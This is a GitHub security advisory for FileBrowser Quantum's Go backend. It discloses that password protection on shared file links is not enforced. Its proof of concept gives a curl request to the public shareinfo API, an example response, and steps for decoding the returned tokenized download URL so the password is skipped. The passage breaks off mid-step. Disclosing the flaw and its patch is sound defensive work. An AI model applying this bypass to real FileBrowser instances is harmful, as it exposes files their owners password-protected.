GitHub Security Advisory: GHSA-8vrh-3pm2-v4v6
Package: github.com/gtsteffaniak/filebrowser/backend (GO)
Severity: HIGH (CVSS 6.5)
CWE: CWE-200: Exposure of Sensitive Information to an Unauthorized Actor, CWE-288: Authentication Bypass Using an Alternate Path or Channel, CWE-602: Client-Side Enforcement of Server-Side Security
Vulnerable versions: < 0.0.0[PII_REDACTED]3904-dbcfba993b85
Patched in: 0.0.0[PII_REDACTED]3904-dbcfba993b85

Summary: FileBrowser Quantum: Password Protection Not Enforced on Shared File Links 

Details:
### Summary
When users share password-protected files, the recipient can completely bypass the password and still download the file.

### Details
This happens because the API returns a direct download link in the details of the share, which is accessible to anyone with JUST THE SHARE LINK, even without the password.

### PoC
1. As an authenticated user, create a share for a file, with a password specified in "Optional password" (make sure to allow anonymous access as the PoC doesn't explain how to do this on a share that requires login, but it is also possible to do on a share that requires login, with some small tweaks to the API request)
2. Copy the first link (the clipboard WITHOUT an arrow) because the second one just completely skips the password without any effort required, which was mentioned in another vulnerability (https://github.com/filebrowser/filebrowser/security/advisories/GHSA-3v48-283x-f2w4)

Now, the link that was copied should look like:
https://yourdomain/public/share/yoursharehash
example:
https://example.com/public/share/ngCZzArOyFHUQBmfbvP-pA

Now, make a API request with any api client to GET 
https://yourdomain/public/api/shareinfo?hash=(the share hash from the link)
example:
https://example.com/public/api/shareinfo?hash=ngCZzArOyFHUQBmfbvP-pA

If curl is preferred, a (command line based API client), here's the command:
`curl 'https://yourdomain/public/api/shareinfo?hash=yoursharehash' -H 'Accept: */*'`
example:
`curl 'https://example.com/public/api/shareinfo?hash=ngCZzArOyFHUQBmfbvP-pA' -H 'Accept: */*'`

Example response:
```
{
    "shareTheme": "default",
    "title": "Shared files - IMG_20240814_213703451.jpg",
    "description": "A share has been sent to you to view or download.",
    "disableSidebar": false,
    "source": "/folder",
    "path": "/IMG_20240814_213703451.jpg/",
    "downloadURL": "https://example.com/public/api/raw?hash=ngCZzArOyFHUQBmfbvP-pA\u0026token=uEr4nCNarX6FqlzwmBo8X1rRRASbOrMY.sWSARcKhrVKrEJlqiF-l6RjXK9fMEPYZsMc9DCJ96BQ%3D",
    "shareURL": "https://example.com/public/share/ngCZzArOyFHUQBmfbvP-pA",
    "enforceDarkLightMode": "default",
    "viewMode": "normal",
    "shareType": "normal",
    "sidebarLinks": [
        {
            "name": "Share QR Code and Info",
            "category": "shareInfo",
            "target": "#",
            "icon": "qr_code"
        },
        {
            "name": "Download",
            "category": "download",
            "target": "#",
            "icon": "download"
        }
    ],
    "hasPassword": true
}
```

Look at the downloadURL. It encodes the "&" symbol as "\u0026" so just replace "\u0026" with "&", example: 
https://example.com/public/api/raw?hash=ngCZzArOyFHUQBmfbvP-pA\u0026token=uEr4nCNarX6FqlzwmBo8X1rRRASbOrMY.sWSARcKhrVKrEJlqiF-l6RjXK9fMEPYZsMc9DCJ96BQ%3D
should be changed to:
https://example.com/public/api/raw?hash=ngCZzArOyFHUQBmfbvP-pA&token=uEr4nCNarX6FqlzwmBo8X1rRRASbOrMY.sWSARcKhrVKrEJlqiF-l6RjXK9fMEPYZsMc9DCJ96BQ%3D

Then just copy past